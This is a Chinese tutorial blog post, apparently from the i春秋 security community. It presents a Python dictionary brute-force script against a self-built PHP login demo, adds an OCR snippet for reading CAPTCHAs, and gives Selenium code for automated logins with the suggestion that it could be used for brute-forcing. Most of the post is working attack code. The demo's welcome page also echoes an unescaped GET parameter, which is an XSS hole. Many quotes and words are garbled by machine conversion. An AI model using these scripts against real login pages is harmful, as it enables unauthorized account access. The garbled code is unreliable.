欢迎关注i春秋公众年夜众号（微信搜索：icqedu）理解更多技能干货，未经容许禁止转载。
序言
本篇文章紧张分享一个python暴破脚本，该脚本采取optparse模块，支持自定义字典位置；用了多线程，虽然觉得和单线程速率差不多。关于这点不知是错觉还是线程写的有问题，求表哥们指教。
1
PHP安全编程
这篇文章暴破的目标是自己写的一个大略demo，php写的，用了PDO预编译预防SQLI，用了htmlspecialchars大略防御xss，源码放出来：数据库配置文件(dbname:pybp;table:pybp_table;column:username,passwd)Con_self.php:
[PHP]
<?php
$pdo = new PDO('mysql:host=localhost;dbname=pybp', 'root', 'root');
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
$pdo->exec(\公众set names 'utf8'\"大众);
?>
登录处文件login_self.php:
<?php
include('con_self.php');
?>
<form action='' method='POST' name='form1'>
user: <input type='text' name='username'><br>
passwd:<input type='text' name='passwd'><br>
<input type='submit' value='login' name='login'>
<input type='submit' value='add' name='add'>
</form>
<?php
if(isset($_POST['add'])){
$username = htmlspecialchars($_POST['username']);
$passwd = htmlspecialchars($_POST['passwd']);
$sm = $pdo->prepare(\"大众insert into pybp_table(username,passwd) values(?,?)\公众);
$sm->execute(array($username,md5($passwd)));
}
if(isset($_POST['login'])){
$username = htmlspecialchars($_POST['username']);
$passwd = htmlspecialchars($_POST['passwd']);
$smt = $pdo->prepare(\"大众select from pybp_table\"大众);
$smt->execute(array());
$result = $smt->fetchAll();
if($username===$result[0]['username']&&md5($passwd)===$result[0]['passwd']){
header(\公众Location:/pybp_pdo/welcome_self.php\公众.\"大众?user=\"大众.$username);
}
else{
echo 'login fail';
}
}
?>
以及登录认证成功后跳转的welcome.php:
<html>
<p>welcome <?php echo $_GET['user'];?></p>
<html>
有关于csrf防御，拜会http://bbs.ichunqiu.com/thread-15186-1-1.html，就不赘述了。Ok，看看界面：
然后咱们就试试爆破这个上岸界面了
2
python上岸暴破
py脚本原版先放出来：[Python]
#coding: utf-8
#author: xiaoye
import requests
if __name__ == '__main__':
data = {}
headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0'}
url = 'http://localhost/pybp_pdo/login_self.php'
#data = {'username':'admin','passwd':'admin','login':'login'}
userlist = [x.strip('\n') for x in open('pybp_self_user.txt').readlines()]
#print userlist
passwdlist = [x.strip('\n') for x in open('pybp_self_passwd.txt').readlines()]
#print passwdlist
for user in userlist:
for passwd in passwdlist:
data['username'] = user
data['passwd'] = passwd
data['login'] = 'login'
print data
r = requests.post(url,data=data,headers=headers)
if r.status_code == 200:
if r.content.find('welcome') != -1:
print 'user:%s, passwd:%s' % (user,passwd)
exit(0)
data.clear()
运行截图：
全体程序用列表天生式，获取了user 、passwd两个字典的全部内容，并且将它们组合为dict形式，用requests.post去逐一仿照上岸，并从返回的页面源码中提取相应的关键字来判断是否已经上岸成功。基本的思想便是这样，但是前面的这个程序很去世，连字典位置都不能自定义，速率有点慢（这个实在正常，两个只含有10个词字典，1010的话，就要爆破100次，而且requests的速率还受网络的限定）改进版：optparse自定义字典位置（多线程出了点问题，我改完后放出来）：
[Python]
#coding: utf-8
#author: xiaoye
import requests
from optparse import OptionParser
if __name__ == '__main__':
parse = OptionParser()
parse.add_option('-u','--u',dest='userfile',type='string',help='specify user file')
parse.add_option('-p','--p',dest='passfile',type='string',help='specify passwd file')
option,args = parse.parse_args()
data = {}
headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0'}
url = 'http://localhost/pybp_pdo/login_self.php'
#data = {'username':'admin','passwd':'admin','login':'login'}
userlist = [x.strip('\n') for x in open(option.userfile).readlines()]
#print userlist
passwdlist = [x.strip('\n') for x in open(option.passfile).readlines()]
#print passwdlist
for user in userlist:
for passwd in passwdlist:
data['username'] = user
data['passwd'] = passwd
data['login'] = 'login'
print data
r = requests.post(url,data=data,headers=headers)
if r.status_code == 200:
if r.content.find('welcome') != -1:
print 'user:%s, passwd:%s' % (user,passwd)
exit(0)
data.clear()
看运行gif:
Optparse模块还是挺好用的，命令行参数用着方便些关于爆破，有个坑得说一说，验证码关于验证码识别，我常用的是tesseract-ocr,效果还行吧，对中文的识别比较蛋疼。。。。。。从csdn截了个验证码，试试看效果：
效果还可以对付python这种轮子浩瀚的措辞来讲，也有自己处理验证码的模块，pytesseract (依赖于tesseract&&PIL)用法如下：
#coding: utf-8
import pytesseract
import PIL
image = PIL.Image.open('v2code.png')
v = pytesseract.image_to_string(image)
print v
效果：
遇见有验证码的上岸窗口，我们可以向上面的小程序用python做大略处理
小彩蛋
这次小彩蛋挺故意思的，先容了python selenium，有关于selenium，光是安装便是个大坑，可以试着去踩踩。。。。。。tips:selenium 启动不了过高版本firefox，要安装引擎文件;默认selenium操作firefox会打开一个初始的，没有任何插件的火狐浏览器，这时候可以指明firefox profile，启动我们日常用的浏览器（安装一下就知道我说的意思了。。）代码：（自动化打开firefox,打开csdn上岸界面，自动化输入用户名/密码上岸）截图工具崩了。。借个网上的图来看看情形http://img.blog.csdn.net/20150821031951877下面代码运行情形和这个情形差不多，全程是不须要人手工点击的，自动化完成，自动化登录csdn源码如下：
[Python]
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
import time
import re
profile_dir = r\"大众C:\Users\xiaoye\AppData\Roaming\Mozilla\Firefox\Profiles\3xhizvy7.default\"大众
profile = webdriver.FirefoxProfile(profile_dir)
driver = webdriver.Firefox(profile)
driver.get(\"大众https://passport.csdn.net/account/login?from=http://my.csdn.net/my/mycsdn\公众)
elem_user = driver.find_element_by_name(\"大众username\公众)
elem_user.send_keys(\"大众your username\"大众)
elem_pwd = driver.find_element_by_name(\"大众password\公众)
time.sleep(2)
elem_pwd.send_keys(\"大众your passwd\公众)
elem_pwd.send_keys(Keys.RETURN)
time.sleep(5)
assert \公众baidu\公众 in driver.title
driver.close()
driver.quit()
个中，profile_dir是火狐的配置文件地址，每个人都不一样your username是你的用户名，passwd是你的密码运行之后，就自动化操作了为啥python爆破会讲到这个呢？。。自动化能不能爆破呢？当然可以，下次有韶光试试吧Selenium常常运用在自动化测试以及爬虫上，普通静态页面抓取一样平常只须要三个模块：re正则模块 bs4解析模块 requests要求模块；但是对付像ajax动态天生的页面，selenium是个不错的选择。
